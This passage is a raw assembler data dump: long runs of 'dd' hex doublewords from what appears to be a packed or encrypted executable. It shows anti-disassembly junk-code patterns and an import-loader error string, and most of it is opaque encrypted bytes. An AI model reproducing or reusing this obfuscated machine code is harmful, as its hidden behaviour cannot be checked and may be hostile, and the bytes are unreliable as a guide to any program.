4246C89h, 4244481h, 16h, 8AC35545h dd 9D8BF297h, 64E1519h, 45BF6050h, 50679839h, 0FDA8B52h dd 5A585031h, 4896158h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 112EDB20h, 2AF59D33h dd 95FF064Eh, 64E0F8Dh, 6860Fh, 0B5890000h, 64E0E11h, 840FC00Bh dd 46h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 0FC35242h, 294055B7h, 9821B3Ah, 7E927h, 0E8EF0000h dd 721A8292h, 5E9D8h, 970D0000h, 0E93CDD0Fh, 316h, 10A5B509h dd 0F368064Eh, 0E92A7431h, 6, 6E255EC9h, 3481E313h, 7430DF24h dd 49BD292Ah, 0FF064E2Bh, 4E1A5995h, 95BD8B06h, 8D064E25h dd 54DE9DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 0CF8B6603h, 383106C7h, 8D8B3634h dd 64E05A5h, 370446C7h, 6A31342Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 66E9C356h dd 0C7BD7F6Ah, 846h, 8A0F0000h, 6, 118DBD8Bh, 6A064Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 1CC35141h dd 0E7164FE2h, 66E874F1h, 42E6CB81h, 0DE9D858Dh, 6A0654h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 0B6035DC3h, 4179F87Dh, 31622E9Ah, 4E14699Dh, 56509006h dd 6E8h, 3D1BAB00h, 52E8C592h, 905F595Fh, 8D95FFF8h, 29064E0Fh dd 4E1831BDh, 0FC00B06h, 2D84h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0C9958944h dd 0E9064E08h, 1D2h, 21019D8Bh, 1768064Eh, 661E439Ch, 3481D38Bh dd 439D3B24h, 7D95291Eh, 8A064E07h, 5995FFCEh, 8A064E1Ah dd 9DB58DEFh, 6A0654DEh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 4BA1C353h, 0E0353256h dd 880FFB17h, 6, 2B498D8Bh, 6C7064Eh, 656C6946h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 71C35242h, 17A9BD0Bh dd 8166064Eh, 0C7BF3DE1h, 6F6D0446h, 6A636Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 35248BC3h dd 2CA27822h, 8BCE339Fh, 4E19AD95h, 846C706h, 7373616Ch dd 0B5D38166h, 0C46C746h, 0 dd 8A18D8Bh, 6A064Eh, 12ED8501h, 858D064Eh, 654DE9Dh, 21CD9D89h dd 0E890064Eh, 0Ch, 311894DDh, 0B9D6D36Dh, 945FA69Fh, 2870Fh dd 0CAB30000h, 800F505Bh, 5, 71628ABAh, 6A905Ch, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 7327DEC3h, 542CF14Fh, 0E9277936h, 0Ch, 6DD9893Ah, 720457ABh dd 9C82F492h, 4159D8Bh, 0FFF5064Eh, 4E0F8D95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0DABCB8BBh, 0B9C3FB2h, 45840FC0h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 7F2C356h, 0F4DB5642h, 30E915h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0F901EFC3h dd 0FFFB2DE9h, 8E9FFh, 608B0000h, 8490737Ah, 0B58DE287h dd 64E73C7h, 9A1BD31h, 0B8064Eh, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 1A34C356h dd 7CF98AF4h, 0C2BB663Dh, 6AE6FFB4h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 36B2C350h dd 64432DFh, 12E9F9h, 4C560000h, 0D2B84127h, 301120D9h dd 23B1979Fh, 15B4C4F6h, 8D8DC18Bh, 654E6D3h, 8D89D98Bh dd 64E2B05h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 3C35343h, 0B58BEEEDh, 64E2D3Dh, 4C1BB866h, 2B6585C7h dd 7000064Eh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 1E726C3h, 557A8A57h, 14E995h, 34840000h dd 0DB87A39Ah, 0CED4C2D7h, 0B7A34AB7h, 9A06C209h, 8B66D52Dh dd 5D85C7C3h, 64E06h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0E422C356h, 2758D89h dd 0B5FF064Eh, 64E172Dh, 11E8h, 9E8C0600h, 0B61C09A9h dd 1E11E6A0h, 68857546h, 0EE83839h, 16000000h, 2FA86AE9h dd 0A8931748h, 847119BEh, 41BD8996h, 58064E17h, 0C981605Fh dd 81EB89Ch, 8E956h, 9E2C0000h, 831ABDC9h, 615AE3FAh, 0F9995FFh dd 6A064Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0BD8BFFC3h, 64E0825h, 0D55BD89h, 6A064Eh dd 1A5995FFh, 0C08B064Eh, 84992BEBh, 26A1667Eh, 64423D4Bh dd 34A9B39Ah, 0D0A4F7A9h, 2F507CB6h, 0CE58EA80h, 0D4CA473h dd 0CA8B7D9Bh, 0BBA603CDh, 820E1F68h, 0C2E9BEh, 0FA850000h dd 0CA978502h, 0DFA79512h, 0A6B2A01Dh, 0B2BBA926h, 0B76CBD3Ah dd 7DFAF27Bh, 8C09C38Fh, 9815D79Eh, 0A522DAAAh, 482F05CCh dd 0C6B7D24Fh, 293624EBh, 0FA8B11B3h, 0B8F37D6Fh, 0A143B9CAh dd 3632451Bh, 5EE4BE27h, 455211D8h, 18869724h, 7CD67809h dd 8D0AC28Eh, 26BBBFB7h, 375348BEh, 595ABE69h, 0C4BEAB07h dd 0BE695615h, 15D1h, 6D430A00h, 0BE69170Ah, 0CF98860Ch dd 0A4F17C0Dh, 0A334A8B6h, 0F27DCC57h, 1A6A58FAh, 35240E2h dd 293927C9h, 5A2311B3h, 451200A2h, 6DF7E587h, 97DFCD6Fh dd 0BCC5B355h, 68129E40h, 654E708h, 0F997D4E9h, 5CD333FFh dd 7A1B5288h, 3312889Ch, 88F68F53h, 54E7B1B8h, 0E8C50306h dd 0Eh, 7F551C4h, 0E656D71Fh, 7FCBD97Fh, 0EE82014h, 72000000h dd 9DA01365h, 790434BEh, 97029FF5h, 5B58B3Ah, 5F064E26h dd 81F38B59h, 67D0C1h, 6800h, 880F0000h, 3, 5822E280h dd 0DFCE8166h, 834FF7Ah, 6840Fh, 9D890000h, 64E3139h, 6850F5Bh dd 9000000h, 4E20F585h, 39EB8106h, 0E82D71B4h, 10h, 3CAB9466h dd 0A378596Ch, 20908F9Dh, 0F0B5082Eh, 7EDBD8Bh, 815E064Eh dd 0F84004F3h, 0C381F814h, 469A29ECh, 171D9D89h, 1C89064Eh dd 297FB601h, 4E271D9Dh, 4E88306h, 0DA9B58Bh, 0F881064Eh dd 0FFFF9918h, 0D850Fh, 31E90000h, 24000000h, 0CCB2C91Dh dd 0E80F1B0Dh, 0Ch, 239B6B68h, 69A70DA0h, 0DDA6CD3Fh, 2C1DBD8Bh dd 0E95F064Eh, 0FFFFFF65h, 23410055h, 0C29E97C6h, 15A65595h dd 0AE5304EBh, 2DE948DAh, 6800000Dh, 654EAD6h, 0F996B8E9h dd 0EBD768FFh, 0AEE90654h, 68FFF996h, 654ECA6h, 0F996A4E9h dd 0ED6C68FFh, 9AE90654h, 68FFF996h, 654F0B2h, 0F99690E9h dd 0F3B568FFh, 86E90654h, 68FFF996h, 654F492h, 0F9967CE9h dd 7C590FFh, 15D79C8Ah, 20DCAA98h, 31ABB5A3h, 43B9C6B4h dd 84AE75C6h, 968401FBh, 0A59310CCh, 0B3A11EDEh, 0D9B22FADh dd 4D3B3C12h, 0DBB7D2h, 0FCF07D75h, 0E7E56C5Ah, 664EF26Ah dd 0D6E3C99Fh, 179DB474h, 17D49F75h, 0C7B0B7D9h, 460BF976h dd 0F95571Eh, 0EF56E76Dh, 513018D6h, 4F08h, 0E534100h dd 15A62CCEh, 0FF41F38Ah, 8C400E76h, 3CDE64EAh, 7B6930B6h dd 0CF55F7F5h, 0E3A1773Eh, 0CDB474D0h, 1D473006h, 41C7B7D9h dd 304319BBh, 54B7D91Dh, 87F0C68Dh, 87B7D91Dh, 36877001h dd 300AAC19h, 0C3251h, 7D6B0000h, 0D964F5F7h, 8CA16h, 0F77D8B00h dd 1F6553F5h, 0B4E860DDh, 0E0CE955Ch, 63351F94h, 0B5AE3A47h dd 70C89E2Fh, 0BCB4743Fh, 92AF58FDh, 5CEDFAA8h, 0F9CF71F7h dd 0B7D8D17Ah, 0E385470Bh, 0CE706CF5h, 0D045967Fh, 0B8D8E200h dd 4F379F4h, 18ADCA1Bh, 0C6512FDAh, 4Eh, 6741F33Bh, 7403D9A0h dd 0A2BE2736h, 0FDC48B1Ch, 4E7A273Eh, 0A228CA02h, 0BA530FE3h dd 0B9133A9h, 0B61EF485h, 58B47493h, 7B6930D2h, 0D157F9F3h dd 12096A40h, 927BB7D9h, 27FDC441h, 0B7D91250h, 40A738BEh dd 512FFF85h, 0BF57h, 0F77DCC00h, 0F868C0BCh, 7CE4843h dd 272A4631h, 0BC42C8BEh, 0A9232C1Ah, 914B1907h, 407301EFh dd 2C47FA75h, 4810700h, 26E8A52Eh, 0B4D0A0BEh, 3FBDC5AFh dd 0B91179Dh, 3808C78Eh, 993D80EAh, 5B2917A8h, 0D587FFA1h dd 5E5E34FBh, 50B473D5h, 0A3D54DCAh, 88AC8249h, 6AE279Fh dd 82CBB980h, 96DFCD4Ah, 0E56B61EEh, 0B75CBB19h, 95E0042h dd 0A86h, 57D40853h, 67E41869h, 72EFED79h, 8704F884h, 9310CC99h dd 451E142h, 155D4BC8h, 0E56C5AD7h, 0F47C6AE7h, 0DBA27BF8h dd 0D24C7205h, 3EC9A4B7h, 7FFCF07Dh, 1202F9B8h, 0FB9D5F29h dd 9F8EB675h, 2AA2B19Fh, 83710288h, 0F782FFFDh, 0A06741F3h dd 74D10ACAh, 773EC4B4h, 37B5C2B0h, 0D91D1661h, 0E172F8B7h dd 1D0A693Fh, 917AB7D9h, 0AA22340h, 0D13C5130h, 0B1000000h dd 85BCF77Dh, 0B0105F56h, 9335B7BBh, 5F01870Dh, 1EDEAA98h dd 7765F67Ch, 764CEEEEh, 0BE26915Dh, 67E41868h, 4FF1EB79h dd 340AA5D7h, 0BE269943h, 135F4DD3h, 2BB137D9h, 2C2E8E64h dd 1AA0B474h, 0A6E29453h, 3C4CB9FAh, 82B62EABh, 0AE9C632Ah dd 0C49A2BA1h, 0AE28587Fh, 3422E96Fh, 9A57782Bh, 46E8E472h dd 665801C0h, 1C845CBh, 0EE904C13h, 26265127h, 62E8BE09h dd 105D4BDCh, 1BC10DCh, 4BED42B7h, 985F6h, 0D3095400h dd 0E11B6856h, 0F4E87664h, 0FDFF8977h, 7C59280h, 48EA398Ah dd 5240BD3Fh, 614FCC00h, 6F5DDA12h, 956EEBE1h, 4B7FF8CEh dd 0B48FB7D2h, 0C3F07D29h, 0FAD56D1Bh, 36B33974h, 0FDC43848h dd 0E789430Fh, 0C853D061h, 0F0BCF77Dh, 0C403C89Ch, 0B3A168EEh dd 68C2EAEh, 4D0CD375h, 0CD6BAD91h, 0E1CF60B2h, 6FDC5993h dd 4110FEB3h, 0DE82FA8Bh, 1B592FF6h, 0F5B47499h, 0F97F7D07h dd 311EB88Eh, 0D385CA9Fh, 505C32F9h, 3E04E924h, 0FA9E16B8h dd 1F754B12h, 310AB431h, 3AE3946Ah, 0AD330E92h, 0B63CB0BFh dd 0DF6928EFh, 6C60EEAFh, 238544CAh, 130192CDh, 1C88F4Dh dd 927F4C2Bh, 0B344CA0Eh, 0C4384836h, 2DA8AEF8h, 0D429CBF2h dd 8B6h, 27A45823h, 37B42839h, 42BF3D49h, 57D40854h, 63E01C69h dd 54211112h, 252D1B98h, 353C2AA7h, 44C3AB7h, 0AB724BC8h dd 0D24AA2D5h, 0E9974B7h, 0CBA9B6A4h, 1FA54785h, 4A1A0899h dd 3B29F092h, 0C9035232h, 8A1BA143h, 0B34D6E12h, 0D1DB49F3h dd 0E56B61F2h, 0E3D1985Fh, 0EA8D6399h, 0CABE26B3h, 26B383F4h dd 0A80D93BEh, 3CA9122h, 9DC35344h, 0B748A7D5h, 741A8BE1h dd 38FF85B4h, 44C13B4Ah, 6CD0F56h, 3944818h, 62EC8B61h dd 0BAB9B7D8h, 41B7D852h, 0D99E741Fh, 0E3B7D872h, 0FD5ACEA0h dd 4DD33859h, 7A3900C7h, 6A687214h, 643ACB79h, 0AE2652DCh dd 0B4A244CAh, 246430ACh, 2D4299B5h, 7F0368Bh, 9EE90000h dd 6EF3E15Eh, 7B03F16Eh, 4A160481h, 5E271592h, 53D0219Eh dd 0D95696DFh, 0E86567EBh, 0F4716BFAh, 17E7E06h, 0EC8B6128h dd 2AB7D249h, 41F3C44Fh, 76CAA067h, 6B47526h, 0FD59BB47h dd 6A4097F2h, 0B7D83A0Dh, 64F57B01h, 10D779FFh, 23305422h dd 0A49223A9h, 0DC43E4DFh, 82A873ADh, 3B4735FCh, 8991FC1h dd 18D49D8Bh, 7757FE76h, 4C65DAB0h, 6B59B7D8h, 0C248EAE2h dd 331C9A3Ch, 0B7353EE2h, 4C0F643Ah, 45ECB7D8h, 0C3C89E65h dd 7BB7D84Ch, 37402EF5h, 0FC8D13B5h, 0BECAB87Fh, 85169C3Eh dd 7012CA97h, 0D84BE19Ah, 0D00C54B7h, 7B30402Eh, 0D84CD2A5h dd 38BE44B7h, 0D7281196h, 0E3341D9Bh, 0AEC99F66h, 0D7B7D84Ch dd 25AB4D8Fh, 0BBA93AC0h, 0F2B936B6h, 0DC7E7E04h, 8AD7C556h dd 0FBE9B052h, 0EA543D76h, 0E4D8518Eh, 6CF7CD5Eh, 0C9B7D8F4h dd 66EB8FE0h, 3422E966h, 860CAE2Eh, 0F6D67DF5h, 0F41B592Fh dd 6FF5B7D8h, 4855F7CDh, 9A6103FBh, 8729A3ACh, 5D944201h dd 65C2CC68h, 1D9AEBD4h, 4A6262Fh, 0CD8E645h, 0E1673516h dd 98DCE950h, 8C02E54Eh, 3B000001h, 3EC1E67Ch, 6AFB14EAh dd 2641F3DFh, 27362750h, 0DB61E7BEh, 0A05C2614h, 20E778FEh dd 752D724Ah, 1FE66CB4h, 2CA92331h, 0F1EB7765h, 0EAE27260h dd 3BE77248h, 13FC311Eh, 0F5745C2h, 64E3CCDh, 155B49C6h dd 96BD35D7h, 85B06F36h, 0C8BD57A1h, 49DEB978h, 0DE5C4B1Ch dd 96E2D04Dh, 0BEC6B456h, 8DD3C13Eh, 1FE6AD4Fh, 1EB02E49h dd 0D309573Dh, 8157E86Eh, 8AA7F768h, 0ABD5945Bh, 0D2733196h dd 0F294481Ah, 6C55E66Ch, 0F3E9771Bh, 4F88876h, 63BBEA62h dd 2BA1AE9Ch, 450CD39Ah, 0A477086Fh, 0FBF17DCAh, 0A97F1096h dd 0CAA476CEh, 6A62F0DEh, 0F2B574D9h, 3F83C821h, 0A520572Dh dd 68EECAA4h, 18DF5CE2h, 97BE4559h, 9526A7EBh, 7C1EDEA7h dd 0B67D5D04h, 0A52C8BE0h, 80FD83CAh, 430AC292h, 1B680C55h dd 28CA5BE1h, 0DAF2D3Ah, 0B155A68Fh, 0BEAC29A3h, 1C9436B6h dd 0E0CE9575h, 2EB45696h, 210FD69Dh, 36F59755h, 32AF06E5h dd 0A637BD19h, 0A4BB9FD0h, 6CE96FCAh, 2FF6F67Eh, 0F4B3A470h dd 6975616h, 0EDEF7664h, 66B7A04Bh, 2B4C22E9h, 0EBCAA506h dd 0D97B71FDh, 95DFCD53h, 88D8C657h, 9BE9D754h, 1847BF61h dd 4432F9C0h, 0D00C583Ch, 9122A82Eh, 0A506E8BBh, 6CF6E4CAh dd 3DFEB170h, 0E37E52CCh, 0EA67ED52h, 0B07775FCh, 84D2B2C2h dd 8F31C248h, 0C9906817h, 0A44EB4F3h, 551CA2CAh, 3BDD1F67h dd 41C7054Dh, 7DA833B0h, 78F5F7h, 0D7AD745Ch, 0B474CCB9h dd 0CFAC147h, 0D2C08745h, 0E9A84A82h, 0B5F5F107h, 21B2383Eh dd 0C5AFB6A4h, 4B2C02B9h, 0CBB7D8B0h, 971DBF45h, 998B4A11h dd 0BCBBB3D8h, 0C16399E6h, 8224B53Bh, 0B77E560Ah, 26038BE1h dd 38FF85AEh, 73DC9B71h, 0B43ABE26h, 0C8AB8123h, 33BE2663h dd 0BA323F01h, 0B8A66D34h, 68C2EAEh, 53A19F75h, 890FB474h dd 716BF9E7h, 0E7B46FA5h, 6DC26448h, 4AAh, 2BA8242Fh, 3BB8343Dh dd 4ECB014Dh, 5BD81460h, 6FECE06Dh, 202D051Eh, 31412FACh dd 1503EBBh, 10604ECBh, 0BF865FDCh, 0D2468EE9h, 1AA580B7h dd 0A33FE5A4h, 5A8CDBB5h, 0C52F51C9h, 0E50428FEh, 74FAB473h dd 7578FCD2h, 230CB7D8h, 7710B5D2h, 0B7CE512Fh, 43000000h dd 2736AE95h, 0C4B2FFBEh, 0BA7940BCh, 5125A9D7h, 0D653E4F9h dd 0FD6365Eh, 26DB3639h, 7B42C8BEh, 6406C68Dh, 6B61F0DEh dd 3A4A38DAh, 0A7CD45C2h, 0C7A87E45h, 0D5BE26DBh, 0FF1FF516h dd 10A1910Eh, 958325ABh, 18900DCFh, 9D5F2868h, 8A2CA0AFh dd 0F0B77E04h, 9E2F4C31h, 2DBEBA6Fh, 269C3C57h, 0D3A970BEh dd 0BE269CA4h, 9C3D3A10h, 4BD1BE26h, 6ACF60E6h, 76C42E4h dd 0EEBE265Dh, 0ED8A6027h, 21BE265Ch, 0D0210A9Bh, 23E1F2A2h dd 544CD965h, 4D2A00C7h, 0C1BE2696h, 18EEB53Bh, 0BE26967Bh dd 0E3946A31h, 33BE2696h, 3BC13B45h, 42BF45AAh, 0D2EDh dd 41F36200h, 0E4DB62Eh, 68C6BF9h, 0D5A2783Fh, 39BE268Eh dd 945B22B3h, 8224D8A6h, 0AB956BFCh, 0BBB4747Eh, 2CB0F4FCh dd 0DC6D815Ch, 614FF177h, 0E65EDB11h, 6E6EF8BCh, 73F9F380h dd 6B95D6ACh, 0E369B7D8h, 6C0B6B41h, 0F57CB7D8h, 1D6755F7h dd 4FF1EB77h, 0F6A143C9h, 9180BC0Dh, 8B3A57A8h, 725DCD03h dd 6DFEFE84h, 6685h, 4FF3FA00h, 0A7D0A66Dh, 67BE2736h dd 1513FE1h, 0CBA11A63h, 0BE2736ACh, 0D85EE46Ah, 0F5BFE35Bh dd 21562C6Fh, 0F5BE2736h, 0C147E96Fh, 0FA86743Bh, 13DA6002h dd 27363A3Dh, 0C556DCBEh, 363B28FEh, 5F3BE27h, 57DD7F7Dh dd 1A592FD1h, 0DBBE26F6h, 0CF73A1F2h, 135026EDh, 59BE26F6h dd 0F07DE76Bh, 80E576FCh, 7DF27DFAh, 0D2C18DF7h, 0BEED61DFh dd 25C74D74h, 8977199Fh, 0C8401FBh, 0E3B98068h, 0B473E755h dd 0CD0F5543h, 7D1FA52Bh, 5E19EFB6h, 0B0B7D843h, 0B0C3992Ah dd 0D4B7D843h, 487D9AEBh, 0B7512F45h, 994070F8h, 0EB7113C9h dd 0E5BDD42Ch, 596C54h, 0A4E10000h, 82CBA9B6h, 0BB33C44Ah dd 0A1682F99h, 0BDF5AEB3h, 5F417D9h, 5228B93Fh, 0B4746182h dd 1DE4860Ch, 3A5272Fh, 5D16EC7Dh, 27B7D8C0h, 0EAE27260h dd 0A21F7059h, 0C07205DBh, 1EA4B7D8h, 3A52730h, 4085EC7Dh dd 0BF512FAEh, 0BC5522F8h, 33B9B7D8h, 0B6BAA2h, 0A42F0000h dd 0A233A9B6h, 8E30ACB4h, 5389D9C7h, 0AC9A2BB1h, 998729A3h dd 816F11CBh, 0B57CF9F3h, 0A042BAC7h, 20B3891Ah, 25BE272Ah dd 32209D5Fh, 9008AA22h, 17D59CECh, 80F4CA91h, 8EB474C2h dd 0D6C48B08h, 49C1528Ah, 0D1A67C17h, 45B7D902h, 4B81D1BFh dd 0D69D23A9h, 283D0B00h, 0F6BD43AEh, 0B933412Fh, 0DFA39117h dd 64F57B1Dh, 76F3E976h, 31FDFF88h, 42B77F05h, 0A7EF44E6h dd 32000001h, 3A28A527h, 4836B329h, 5341BE3Eh, 6856D309h dd 0F60DD1Fh, 9B511E14h, 0AA22301Eh, 0BC303F2Dh, 0C903513Fh dd 0D6AC734Ch, 0B7D243A1h, 7D0F9A75h, 917FFCF0h, 18C09C3h dd 0E9E5A4h, 0A21A8713h, 0F3791BD1h, 3064DC6Dh, 993B11D8h dd 0D5B4745Eh, 0CB3F380Eh, 3F46B7D8h, 41D258BDh, 0DEB456DCh dd 0B7D8CB95h, 98B506EFh, 512FB92Dh, 5B91E2D0h, 56E7E56Dh dd 0A86Eh, 0F77DE300h, 186553F5h, 676C42E4h, 5EBE272Ah dd 210FD616h, 71F79953h, 0EF7563E0h, 96844BEDh, 98112CAh dd 0E0B67D57h, 0B474C294h, 6E2DF47Ah, 0AA8E5536h, 0ED6AFBADh dd 22E9C375h, 2795E04Ch, 6128AEAEh, 0FD8AEA73h, 7012CA97h dd 61DE64EAh, 0FE8AEA73h, 50D65CFEh, 0B7416284h, 388D2F42h dd 0CAh, 0B88440Fh, 1B98541Dh, 2EAB212Dh, 3BB83440h, 4FCC004Dh dd 400D25FEh, 51210F8Ch, 21301E9Bh, 30402EABh, 9F663FBCh dd 0D242AEC9h, 0FA8560B7h, 34A8B6A4h, 20DCA492h, 0E172F87Eh dd 0F5726AF3h, 6837907h, 0F5F77D7Bh, 0DD1F6553h, 0A7AB9960h dd 781C9425h, 0C4F3C990h, 52B47A0Dh, 343C2ACCh, 4ED6A177h dd 0B238B7D2h, 4E6215EBh, 2EB4B7D2h, 373D2BA8h, 5E4C13B5h dd 0B238DA12h, 0B6284B21h, 8E77695Fh, 23F9C03Dh, 754C8654h dd 0BDAB3CC2h, 0AF6E35B7h, 0F5AA4650h, 32AF40FDh, 1EC03C44h dd 6A82430h, 0AA4E9F88h, 0B7A522DAh, 0CA9133A9h, 430F290Bh dd 0F2834570h, 0D9Dh, 581F1200h, 36BCBB91h, 0D45ABE27h dd 0F27DB843h, 1A6A58FAh, 35240E2h, 293927C9h, 5A2311B3h dd 451200A2h, 6DF7E587h, 97DFCD6Fh, 0BCC5B355h, 68129E40h dd 5E37h, 56242C89h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 0E7682414h, 89000063h, 0BF57242Ch, 48622CEAh, 0C5F9BB53h dd 0DF314E36h, 5FFA895Bh, 8904EC83h, 4832424h, 815D0424h dd 4ECh, 24148900h, 8B08458Fh, 8951242Ch, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 2434FF5Ch, 4C4815Ah, 0E9000000h, 0FFF9899Dh dd 1C17ABADh, 0C31FD384h, 54F581B8h, 0FFC50306h, 6A224AE0h dd 0B9FE296Bh, 13F8EC2Fh, 195B261Dh, 0F803E847h, 8A62935Dh dd 3F190B55h, 8A39434Fh, 0B8BF9D08h, 421FEF37h, 275BFD67h dd 0EDD9C976h, 0CCA65211h, 3D7D9261h, 0F63B9422h, 0D852272Ah dd 0D9D7994Bh, 452E4A2Eh, 17A27517h, 21A9D12Bh, 127E939h dd 5B500000h, 0EFAC7376h, 154Eh, 6E410000h, 72724520h dd 6820726Fh, 6F207361h, 72727563h, 77206465h, 656C6968h dd 616F6C20h, 676E6964h, 706D6920h, 7374726Fh, 0E7AC3700h dd 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h, 0E6000077h dd 777h, 5 dup(0) dd 0E7A5FD00h, 77h, 2Bh dup(0) dd 600h, 6E14800h, 921DF4C7h, 96A6CF63h, 5B4B678Fh, 1C131134h dd 0C8735B1h, 6166427Ch, 9E35722Bh, 1177A9F2h, 90EF8832h dd 1328658Bh, 0AC27BFBFh, 0C6991762h, 0A8E5D069h, 13285DD3h dd 45715632h, 1177A961h, 90EF8832h, 1328658Bh, 0A356BFBFh dd 0C6991762h, 0D5EDD069h, 0E3C1F9B1h, 1A662466h, 156601B6h dd 13E30532h, 0EA6010ECh, 23E3AFE2h, 0EA6045ECh, 14E34EE2h dd 43600A36h, 0BDDE705Ah, 0DCD3EEAEh, 9860C616h, 441B65B7h dd 9CB6DD34h, 5B7958B7h, 62E30534h, 456010C5h, 0E33EA7BFh dd 0EA361766h, 5B43A1A7h, 30E38334h, 15606C27h, 0D3661132h dd 5B6289B7h, 7C0E0134h, 0EAE8505Bh, 5B43C087h, 0CDE30534h dd 0EA600A0Bh, 4E3ABE2h, 0D3605F3Ah, 5B6289B7h, 4B0E0734h dd 0EAFA4559h, 5B43C087h, 0CDE30534h, 0EA600A0Bh, 9AE3ABE2h dd 0D36045C4h, 5B6289B7h, 3C0E1034h, 0EA88405Ah, 5B43C087h dd 0CDE30534h, 0EA600A0Bh, 86E3ABE2h, 0D36045C4h, 5B6289B7h dd 0D70E0134h, 0EABC420Ah, 5B43C087h, 0CDE30534h, 0EA600A0Bh dd 82E3ABE2h, 966045C4h, 5B40C18Fh, 90694434h, 15662277h dd 116794F4h, 7D238E7Ch, 0EF463AB4h, 30B797CDh, 90EB177Ch dd 1328B1EAh, 90EF94CDh, 1332D4A9h, 116794F4h, 7D2A8E7Ch dd 0F54094F1h, 30B797CDh, 90EB177Ch, 1328B1EAh, 90EF94CDh dd 1332D4ADh, 156651DBh, 14E34E32h, 47600A36h, 5F822F5Ah dd 1CD3EE8Eh, 9860C636h, 5B5F9CB7h, 9CB6DD34h, 41908AB7h dd 14E34E34h, 47600A36h, 592C6A5Ah, 1CD3EE94h, 9860C636h dd 5B5F9CB7h, 9CB6DD34h, 41908EB7h, 14E34E34h, 47600A36h dd 57D2C85Ah, 0C4D3EECFh, 9860C617h, 5B5F9CB7h, 9CB6DD34h dd 5B63A0B7h, 14E34E34h, 62600A36h, 82CE815Ah, 48D3EEC1h dd 9860C613h, 5B5F9CB7h, 9CB6DD34h, 5B4DA0B7h, 14E34E34h dd 47600A36h, 0C857355Ah, 0C4D3EEB8h, 9860C617h, 5B5F9CB7h dd 9CB6DD34h, 5B40C8B7h, 14E34E34h, 43600A36h, 0A0B1B5Ah dd 0DCD3EEE6h, 9860C616h, 441B65B7h, 9CB6DD34h, 5B6D98B7h dd 14E34E34h, 52600A36h, 0C976585Ah, 0C4D3EEB3h, 9860C617h dd 5B5F9CB7h, 9CB6DD34h, 5B6344B7h, 14E34E34h, 52600A36h dd 1AD3C05Ah, 0C4D3EEB8h, 9860C617h, 5B5F9CB7h, 9CB6DD34h dd 4190AEB7h, 0FCDB0B34h, 15600A27h, 1337A63Dh, 90A01132h dd 13288C33h, 98F2C7Eh, 0A099FBE8h, 132834E3h, 2CBE0DBFh dd 0C599427Ch, 0E3CDA7BBh, 90A01766h, 13288C33h, 0CBA82C7Eh dd 0A099FF46h, 132834E3h, 2CBE0DBFh, 0C599427Ch, 0E3C9A7BBh dd 90A01766h, 13288C33h, 97592C7Eh, 0A09995B3h, 132834E3h dd 2CBE0DBFh, 0C599427Ch, 0E3D5A7BBh, 90A01766h, 13288C33h dd 557E2C7Eh, 0A099911Dh, 132834E3h, 2CBE0DBFh, 0C599427Ch dd 0E3D5A7BBh, 90A01766h, 13288C33h, 13722C74h, 0A09998ECh dd 132834E3h, 2CBE0DBFh, 0C599427Ch, 0E3DDA7BBh, 90A01766h dd 13288C33h, 51C2C75h, 0A099A3EEh, 132834E3h, 2CBE0DBFh dd 0C599427Ch, 0E3A5A7BBh, 90A01766h, 13288C33h, 9BCA2C75h dd 0A099CDB5h, 132834E3h, 2CBE0DBFh, 0C599427Ch, 0E3A1A7BBh dd 90A01766h, 13288C33h, 0B2B42C75h, 0A099F6A8h, 132834E3h dd 2CBE0DBFh, 0C599427Ch, 0E3ADA7BBh, 90A01766h, 13288C33h dd 2C622C75h, 0A09998F3h, 132834E3h, 2CBE0DBFh, 0C599427Ch dd 0E3A9A7BBh, 0A8E51766h, 1328856Bh, 0D3463132h, 5B6223B7h dd 720E5634h, 0EA86FA1Fh, 5B439587h, 0CDE3AF34h, 0EA605F0Bh dd 0C6E301E2h, 0D36010C4h, 5B6223B7h, 0A40E5634h, 0EAE8A181h dd 5B439587h, 0CDE3AF34h, 0EA605F0Bh, 0C2E301E2h, 0D36010C4h dd 5B6223B7h, 0B20E5234h, 0EAA6FE78h, 5B439587h, 0CDE3AF34h dd 0EA605F0Bh, 0CEE301E2h, 0D36010C4h, 5B6223B7h, 0FE0E5D34h dd 0EA9DEE5Eh, 5B471987h, 0CDE3AF34h, 0EA605F0Bh, 7AE301E2h dd 0D36010C5h, 5B6223B7h, 400E5534h, 0EADDFBBCh, 5B439587h dd 0CDE3AF34h, 0EA605F0Bh, 0CAE301E2h, 0D36010C4h, 5B6223B7h dd 0E90E5234h, 0EADA065Ch, 5B439587h, 0CDE3AF34h, 0EA605F0Bh dd 0F6E301E2h, 0D36010C4h, 5B6223B7h, 0BF0E4234h, 0EAA0980Ch dd 5B439587h, 0CDE3AF34h, 0EA605F0Bh, 0F2E301E2h, 966010C4h dd 5B579F8Fh, 91691134h, 156688D2h, 1167C1F4h, 